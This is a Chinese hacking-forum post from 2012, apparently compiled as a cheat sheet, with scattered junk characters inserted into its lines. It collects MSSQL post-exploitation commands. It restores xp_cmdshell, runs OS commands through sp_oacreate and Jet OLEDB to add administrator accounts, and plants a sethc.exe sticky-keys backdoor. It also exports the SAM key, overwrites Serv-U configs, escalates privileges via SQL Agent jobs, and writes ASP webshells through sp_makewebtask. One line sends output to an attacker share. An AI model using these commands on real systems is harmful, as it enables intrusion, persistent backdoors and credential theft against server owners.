找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2323|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
, {3 h  C" B8 @& X6 c; F恢复方法:查询分离器连接后,
! S+ u! H' V) M/ w  o4 Z第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
; r  t7 c& w9 m/ a4 O3 T第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
! v& I1 x0 `/ u  T/ h' E然后按F5键命令执行完毕
+ z! Q& b8 I. U7 H2 e
0 e6 F; y0 q5 I  L, P2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)2 V) q9 A4 f  _6 \6 E0 u
恢复方法:查询分离器连接后,
: h+ W9 s$ E* C4 f第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"% Q+ }9 V0 \$ K% C% O# J
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
" p  d' ~. U# H8 _然后按F5键命令执行完毕9 u3 [, J# E* h6 t3 ^6 ~0 s
# J* _! o7 N* {, F
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)9 \5 T0 c' C0 s5 \3 S, x$ D. l, e* W
恢复方法:查询分离器连接后,# o2 H) f4 r6 {4 y
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
5 {- ]& d) o' C第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
9 X/ O! U/ J2 z( V然后按F5键命令执行完毕  U, \: ?8 c4 H6 V9 J
* Z( }% j" `' D" b- b$ O& h
4 终极方法.9 t& E& _& }! V: w% v
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
: x# E. c0 S) Z0 P  M查询分离器连接后,+ K! E; r: {4 ~+ a8 o
2000servser系统:0 o6 l9 S% J; r- V
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
' Y" P( I* Z; z& z! V' l+ f1 Z2 s4 \
% m8 r" L5 s& q* X, qdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
3 @2 R4 J; L, _  K  a$ V) i9 j( k: }( w
xp或2003server系统:
5 ~$ M6 G8 z$ s6 `6 e
- t2 r4 m  U: }declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'4 p/ j' d3 {5 N  r) C) O7 k  w
& T7 l1 A' G  Q- ^  l1 b+ s! w9 i
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'" Y0 T) M* B: }- ]0 H# z
1 m6 U9 y4 U7 o

. z" d- ^7 {) x; m2 e% c五个SHIFT
0 D8 e( ?, e+ \8 k) P" zdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
! ]7 m/ S6 \2 [5 a* m) G
8 w5 H* |/ R0 [( J' Bdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
, w5 S  B$ a4 b$ S
* ]( d- T1 z" s: q1 nxp_cmdshell执行命令另一种方法/ L$ R  N/ A7 Q: m; I
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' - o5 a9 ?6 \6 q1 `5 @

* T1 S: J2 k# a6 s3 Y9 |判断存储扩展是否存在3 E4 L4 H, \5 |/ r$ o- H
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'! Y5 h, @0 F$ X, f" c6 \
返回结果为1就OK
# z" \$ }- h+ `4 d, b8 x  V/ z) l, z3 |# D  d
8 [& B; _; l9 F! D: R, k
上传xplog70.dll恢复xp_cmdshell语句:
( y; Z6 u) x6 ^9 G1 Csp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'; q, e4 ~: u, J
' _( w8 @; G9 a% U' G
否则上传xplog7.0.dll
! l3 V6 D5 ]8 `' Z" ZExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'* p7 m& M8 h2 h; Q" r" V
. e8 o! d9 j6 i7 \- X
0 C- H8 x) s; k2 O
- }3 b+ {" n1 O' c% W* O
首先开启沙盘模式:
* T6 _9 S  s1 `; \8 h9 _( wexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',15 j! d- t- n/ I1 p8 G

5 B9 n  ~2 ?; b3 x然后利用jet.oledb执行系统命令
7 q0 ?$ {( P! ^4 t" O7 oselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'). j7 E# A" x+ l& y8 C
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
8 W8 Z. V6 `" l
5 Y% a4 q' p$ |# y" R9 i3 h
$ [' w* J1 y- p2 h. F. }9 k4 {% Q$ c! ^. T
恢复过程sp_addextendedproc 如下:
) B3 |, D% \: ]create procedure sp_addextendedproc --- 1996/08/30 20:13
+ o5 q8 }1 H, ^@functname nvarchar(517),/* (owner.)name of function to call */
% W- B, v! p/ u! b/ d6 p9 ^# g) X# A@dllname varchar(255)/* name of DLL containing function */
' x9 K! }( b9 eas 5 X/ q7 o/ ^9 Y# g# }+ X+ X8 T
set implicit_transactions off   Q) J) @, X) F
if @@trancount > 0
0 Y" m# h* U$ G9 I' |3 fbegin / S- l! B4 v- k  C2 G
raiserror(15002,-1,-1,'sp_addextendedproc')
7 ]# C& ?* W- d5 @return (1)
& u' t! a. ~4 j! C+ H% Bend
" v" S. `5 U9 {; Q$ qdbcc addextendedproc( @functname, @dllname)
8 O. _$ r% O% v& P7 d% c4 Nreturn (0) -- sp_addextendedproc 2 P6 N$ x5 [; N, E; I; N2 h
GO
* a' d4 c* l# v- e
6 L% s1 {+ f* @) E! J1 ~, K
0 I# z# c$ u; c4 L9 C, ^
$ \8 [6 G- v8 `导出管理员密码文件
- e) y+ W3 L# Bsa默认可以读sam键.应该。
. [" F( q& H: M3 f$ Ereg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg, F; R1 ~+ |2 {: y" L
net user administrator test
: ^) V+ w# e; r用administrator登陆.
, y5 F; N8 Y! v, s0 D5 R9 r+ Z& p用完机器后
+ \2 b* I. Z" L" Ereg import c:\test.reg$ k9 i, J) Y! _; U+ `6 F( X
根本不用克隆.. Y* X. m, V8 G! e& t! R
找到对应的sid. 6 H, `, D2 R% o! P
7 V8 @- Q/ |5 F" {
. f, P1 F0 I' o3 B, b- G

  M$ \3 k- e$ K& @7 c8 A# z恢复所有存储过程
8 h* Z/ H2 f. `use master ) A: L! j4 U# N- t) Y
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
5 o4 G9 k9 _: x, Z6 F8 h8 P+ {exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
7 H9 D- H9 D7 {9 [, g( Zexec sp_addextendedproc xp_loginconfig,'xplog70.dll' 0 S3 D% a% `3 [- n8 e0 k
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' : v& Z) `) |/ S" t. d6 {4 a
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
- S. o. r' p7 T: l' Gexec sp_addextendedproc sp_OACreate,'odsole70.dll'
2 \4 X$ _0 [6 v  o4 u- G' Wexec sp_addextendedproc sp_OADestroy,'odsole70.dll'
9 y5 M+ p1 O# A, Z) oexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
; _5 ?7 @# n$ L$ F$ ]# t7 g' O% n: Rexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
& \: b$ }4 p# R- i; ?8 lexec sp_addextendedproc sp_OAMethod,'odsole70.dll'
* V0 y: U- J( }/ Texec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
6 r& n5 V/ f5 Fexec sp_addextendedproc sp_OAStop,'odsole70.dll'
# d' G5 E/ ?* b( B5 m1 g* zexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
4 F- w: ]. j- sexec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
1 w8 A* A& c! t, W0 z' j; Aexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
. X$ [$ C6 \, W+ m4 O; ?exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' , Z9 y3 v1 L* O, ~& s
exec sp_addextendedproc xp_regread,'xpstar.dll'
: P3 i: m# c$ h8 r; K& Iexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
5 `% X4 o% T- L" Oexec sp_addextendedproc xp_regwrite,'xpstar.dll'
- c8 O0 W6 M0 Q3 r$ p+ `exec sp_addextendedproc xp_availablemedia,'xpstar.dll'4 k: y* b* A/ d2 B% u) S

: b: T" `: G! U$ T. d6 q' I# {% }+ B0 I6 L
建立读文件的存储过程
& I4 a% [+ u- T7 n: SCreate proc sp_readTextFile @filename sysname- o* J7 R+ _/ V) P0 S# B+ p1 D
as: ?$ @% e4 p0 H( R
- G9 z+ M2 R7 T
    begin
* `* |& ?, x+ {! d1 O/ {    set nocount on
& y2 N) U. p) i- a    Create table #tempfile (line varchar(8000))
; K! @) S% }! K- t    exec ('bulk insert #tempfile from "' + @filename + '"')/ y0 L+ c3 `& D
    select * from #tempfile
# l+ H4 o" {6 O/ K  V* V; V    drop table #tempfile
* p3 M9 Y$ b1 J$ ^. F% Q1 @  @- @End
/ |/ D. {, ~3 A- z& k) P5 r0 `" ^0 x+ m% o
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
& T6 [) q. ]) v) C+ \查看登录用户8 y4 ]- N& r. A4 l/ i& Y' a
Select * from sysxlogins& P, X( k, F( R5 f( w8 x) @; e
2 m3 k; K) I9 N7 o2 Q
把文件内容读取到表中
( S# o' V+ a2 `' hBULK INSERT tmp from "c:\test.txt"3 L9 @' X$ B% \  b) u/ R
dElete from 表名 清理表里的内容
0 E/ l" C. o8 R- k- |3 ocreate table b_test(fn nvarchar(4000));建一个表,字段为fn
* a: |! G5 J; o8 b$ u
. Q0 o; X* [( O: g0 R; M9 I
4 E% O; O! w3 k. B加sa用户* d6 Z; J  `4 P1 B9 t# B6 ?$ f/ c
exec master.dbo.sp_addlogin user,pass;; U  `( c6 E! @: Y% x
exec master.dbo.sp_addsrvrolemember user,sysadmin
' O8 L9 \5 q, S/ @7 p3 r3 A. d* f6 W" m5 @

' A& B7 }* p1 t
' m: f! A9 L/ W$ o% {读文件代码
' c/ e* l$ h: N9 M, j1 ~declare @o int, @f int, @t int, @ret int- X  ^4 _6 E& d* ~% F
declare @line varchar(8000)8 ]/ t- d( b& @
exec sp_oacreate 'scripting.filesystemobject', @o out) b# r7 n$ x: X" n  N9 @
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
$ Y* s6 N! _: G  t7 T' Y8 Aexec @ret = sp_oamethod @f, 'readline', @line out* X" O" m9 {5 V& v( b
while( @ret = 0 )
( X, {) P% `6 ?& {6 g% Kbegin
! G7 E* ^, ]) L0 m* B- {print @line! d( \( j( [6 l/ X; V4 W0 E$ w6 @4 X
exec @ret = sp_oamethod @f, 'readline', @line out& U$ ^" ~1 v) k: W" G: ?  ^) i* n
end) m  q2 n7 r9 s; e9 o

1 N( u# E$ n4 h2 L
: p  b; f/ q# Z6 k) |; q写文件代码:2 ]- V0 [! h3 s0 ~% o( B6 i
declare @o int, @f int, @t int, @ret int
3 ?3 @2 J5 F7 Y8 @1 _  y* e0 ?5 Cexec sp_oacreate 'scripting.filesystemobject', @o out
1 N7 G; H2 s# _: jexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
$ ]' q3 E* a8 M7 `8 _exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》, u* P1 n0 h* @: Y- y

+ l+ b$ w; z) j. i3 w* H' O5 z8 X7 s+ i
添加lake2 shell4 i) R% g/ V2 I0 v+ X! N" k
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
- ^8 ^6 t6 _& o% Qsp_dropextendedproc xp_lake2; N7 C5 K* T2 d( t
EXEC xp_lake2 'net user'0 d& X! S8 C/ D0 c; n1 O7 @$ S
' U3 \. g  A# w4 w

- r9 M3 e& D2 U) W! M) C得到硬盘文件信息
4 o+ j/ D2 C3 n, X4 `--参数说明:目录名,目录深度,是否显示文件 ) \, x; v" j4 }* i- q0 A
execute master..xp_dirtree 'c:'
: Z# f% I0 o) l1 F' d& Xexecute master..xp_dirtree 'c:',1
" z" Q8 ^8 Q$ E" D* L, V/ _% eexecute master..xp_dirtree 'c:',1,1 0 I4 ^8 _( l' ]# O) x
  p# i8 D/ q2 Y) z! {
( C/ y6 L# t4 |$ l8 ?0 M
读serv-u配置信息
! [1 I8 g+ z) i2 r' D8 Qexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt', m1 P, e& L  i# v% q
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'9 ^2 _0 W0 L, ]% x- ]# p
: G) [9 v8 m# j; m0 b* C, K: q
通过xp_regwrite写SHIFT后门
* C8 b0 w9 }; D6 i1 j; f9 Kexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
9 _+ z* H( v9 ~" v2 |5 U3 X
( R6 w6 K) e; i. O; `5 M0 P
( `$ j$ K. f/ K
  v. S5 h* M/ E* f% n找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
0 ^" S; G0 U+ N  kexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
; b6 z- w  a( P; R8 M  M" I" K. S+ a; `
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'0 y$ {2 D* y4 ^8 [; B0 o

/ W- f& h: o; P6 M6 S8 K
: M0 L" i! J4 p+ ~3 U
& i1 w* J8 v% X! n( csql server 2005下开启xp_cmdshell的办法
1 L1 {" h: ^* n1 ?! K- ?4 ]' Z  g( b
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
  z, Y) [0 h, R0 @/ d1 v6 k, a2 S1 `$ }6 {
SQL2005开启'OPENROWSET'支持的方法:
' b" p$ w9 o* x# Y* v8 b' d
% M5 ~2 D2 z; E  u7 Eexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;* C& w" r( k  w! Q) F; O

2 T! _0 L* q: B# L; M  B4 _SQL2005开启'sp_oacreate'支持的方法:
6 s: t; j% {5 d, `. [: I9 I, ^4 Z& l
- t9 y7 [: R1 d6 p$ Z) A( [; `exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;' `) T5 k5 F  [9 b3 h5 z* [7 ^! W: f
1 J9 `0 a- X( P5 Y1 t

) I8 s- P) j5 L1 n6 e3 b9 i
2 d0 J6 y  ?. C5 Z$ w
. x# h* C' Z7 S# ?, \  X' m0 H4 a! w+ g# N) N- z  Y9 x: @

7 w6 m. s+ ~2 t) H6 i" D( x
+ N6 o6 j, R: g; n3 t5 b- t1 e3 Q* y$ \9 c
* W7 @6 a% i/ K9 S' f
5 p' S/ U) |4 q5 h) t
. ]# v+ e7 f4 p6 i

' f3 @4 n) P  X
8 h3 }" O3 r& p7 ^. I; o; K0 {$ G5 X
4 H0 b) z! Y  x

% h/ X+ o0 o! s! n: s( h$ ^( h9 i) f0 V- ]. Q

! w  h( r* ]+ A$ a! i; C# M- ~2 U) O( p: |  ]' ]. J
. N% S) ~6 [; A5 B0 q6 m- n6 Z

; F+ I+ t: ]1 C6 R6 F7 t5 w4 F( R5 g( w3 {2 ?. u6 S9 M# q- N

8 @) ~. X' D& }: W- D3 V0 D7 {2 ~4 \' \
以下方面不知道能不能成功暂且留下研究哈:
% H" e* \% M3 N" ]6 z# {4)4 X' p9 ?  B, A& y$ d6 |5 |+ }2 d
use msdb; --这儿不要是master哟
" \2 a5 B7 [1 o- T: \, C9 M( Iexec sp_add_job @job_name= czy82 ;
3 ]: P0 @* h, i0 H- j5 aexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;7 L  x3 N9 q9 ?
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;- L" P% P. q& o/ c0 s
exec sp_start_job @job_name= czy82 ;4 {6 a3 V+ G1 e  W
1 T4 u" H4 ~  L  s
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以6 M  M% \! v" c, ^6 R
执行tsql语句了.
4 u, `# B! o) T! b6 C, D9 o对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
" [# Y+ C7 R+ c. J' e+ n0 {第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
7 l% A) P. }) g' G$ g0 H+ q5 Unet start SQLSERVERAGENT
9 Y4 }, ~& X# ?* a+ e' t
) P& x! }1 `5 e4 _5 ~对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
9 ]9 C: ^0 a" P  Z  T6 n* bUSE msdb
# P9 y7 @+ o* @6 B6 c1 Z9 M# q, xEXEC sp_add_job @job_name = GetSystemOnSQL ,
9 A2 W2 s4 }, T' e2 Q+ h* [0 a  j@enabled = 1,4 m# |: R3 C- b' P9 p
@description = This will give a low privileged user access to/ N+ }" t; y4 }0 H* o" I( F
xp_cmdshell ,
% `# O) }- b, E; q# `@delete_level = 1
4 m( {  K$ n% m9 y( I1 r9 o+ Y( h) IEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,5 n) M# b+ c8 z6 z. X4 H) j, F$ V' M
@step_name = Exec my sql ,
$ u+ X* ], `% H+ N@subsystem = TSQL ,
) ?. ~. a3 t" g) Z@command = exec master..xp_execresultset N select exec+ |, ]: v" r( l2 O. S/ O
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master ; t0 G9 `8 b0 y3 ?- X2 `7 q# {
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,# z2 K$ R2 a& g# k
@server_name = 你的SQL的服务器名 - @7 b+ N. q2 v; }3 Y/ i, e6 Z$ _' F! X
EXEC sp_start_job @job_name = GetSystemOnSQL
- Y! d8 {4 E) N; }7 @: \+ I! _
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以) q- B# I  V/ `
才让我们可以以public执行xp_cmdshell$ Q  M( S5 K+ l: v6 j5 A6 O6 h

8 \4 K5 W+ s% I6 B6 G! L5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
$ p% a- O) R+ D9 n在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968* l& ^, O) J8 |! y7 }& w

, r6 K" \) D& z, x+ B' _3 qUSE msdb. U9 X* k- A+ n9 f/ t: G
EXEC sp_add_job @job_name = ArbitraryFilecreate ,: F- J( c" x' t8 J! ]  ^1 L
@enabled = 1,
. s% U9 B! E/ C4 F@description = This will create a file called c:\sqlafc123.txt ,
. M$ W& m5 N9 e4 N) |; \* e. X& ^@delete_level = 1
3 x0 m% a; A9 a. ~6 [! W- s) ^EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
6 N. x) R0 G, s  k- b( A@step_name = SQLAFC ,
4 i& k0 V. D* @# E@subsystem = TSQL ,+ U' ^6 h; Z; B2 `% ?3 s. P* i
@command = select hello, this file was created by the SQL Agent. ,/ {. z( M% V, s: @
@output_file_name = c:\sqlafc123.txt   L5 q1 }) ^0 E; x% q$ X
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,$ _5 B  V$ ^# a, a0 }* L4 A; h
@server_name = SERVER_NAME . J* b9 a' {% X4 y% d$ a
EXEC sp_start_job @job_name = ArbitraryFilecreate
: a$ ~8 S6 l2 k  G" E( i: h
( S& Z2 J. z9 ~: R* B8 v/ M如果subsystem选的是:tsql,在生成的文件的头部有如下内容
' }) ?3 c9 y* n& }2 d% n% J1 z' J5 r6 k0 A
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19! [% b: ~! B% K% s5 z: M  {
----------------------------------------------5 s+ l$ u: H$ p
hello, this file was created by the SQL Agent.0 v' M: D% Q$ [- s0 W

3 w5 x; G2 |7 e4 q: @( s( b(1 ?????)
9 I- ]& A0 r* d" e2 [7 D5 X) V7 j4 E9 z8 X9 e3 F2 V
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
( b% m2 I- H, R8 i; `) o命令的vbs文件到启动目录!
) I! ^" m- J2 _3 e4 K9 D4 b7 \
6 J4 l9 L1 N; j. L* j7 C6)关于sp_makewebtask(可以写任意内容任意文件名的文件)8 L- R" l0 B8 h+ r9 e
关于sp_MScopyscriptfile 看下面的例子8 {  _, w7 I3 K' m% H% l2 L. I
declare @command varchar(100)
! L- I' r% p4 b3 W3 odeclare @scripfile varchar(200) 8 ^: f4 z) n% E. g5 ~. ]" o2 m; ^- R
set concat_null_yields_null off 8 b$ \8 q% U0 t3 |9 A' Y
select @command= dir c:\ > "\\attackerip\share\dir.txt" , I( Z  i" W, \
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
' }9 _9 {! `2 o! g' T+ M1 Hexec sp_MScopyscriptfile @scripfile , 5 [) A! c; ~& k* o' B/ @

' d& O" D& p3 A/ T* T这两个东东都还在测试试哟
% t( v% `( h3 L  W; ]  f让MSSQL的public用户得到一个本机的web shell
, V: K5 Z) r, d
) Q, O4 {7 M7 `, z) M* v. U6 k% }4 ysp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,, K- z: B& b2 A( O; v" k: E
--@query= select <img src=vbscript:msgbox(now())>
) h9 c' K7 l' A& o--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> & z% T& N( l% ^* s0 J' ^- U
@query= select
6 W) ~% l: J% s1 v7 _* n<%On Error Resume Next
/ ]9 X# X! [7 ^4 j# _Set oscript = Server.createObject("wscript.SHELL") / h' {  j& Z4 h' M  I" N( ~2 p' j
Set oscriptNet = Server.createObject("wscript.NETWORK") 5 |+ v; k$ e( @9 r  j- H- G: g
Set oFileSys = Server.createObject("scripting.FileSystemObject") & q; V) C; K( s, X. h
szCMD = Request.Form(".CMD")
0 k3 O# ~5 F. e2 u% ZIf (szCMD <>"")Then , x3 q, w2 @6 a
szTempFile = "C:\" & oFileSys.GetTempName() 0 @) M0 Q7 H4 f
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
! I9 `5 Z+ u/ v* D8 ~& gSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
; s! `+ b" Z6 A1 |2 ~End If %>
: ?2 g3 T, o% x2 S2 _<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">
* S; p  y3 t5 m( N" q<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> 5 K2 w, T( x! `  X; v0 x
</FORM><RE> 8 A5 _! s: T- f# @# z
<% If (IsObject(oFile))Then
) `* ^- C7 l  R. WOn Error Resume Next
; l8 a$ D1 E7 o/ @  ]Response.Write Server.HTMLEncode(oFile.ReadAll) 3 F; |, i" `; ^+ c
oFile.Close
, |8 b" N  y, o: O$ PCall oFileSys.deleteFile(szTempFile, True)
/ `& z3 K$ X, I5 P! EEnd If%>
+ }- h1 n( q8 J7 }1 K% {/ T</BODY></HTML>
: p' l8 r. `! `* t2 O# ?; h9 S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表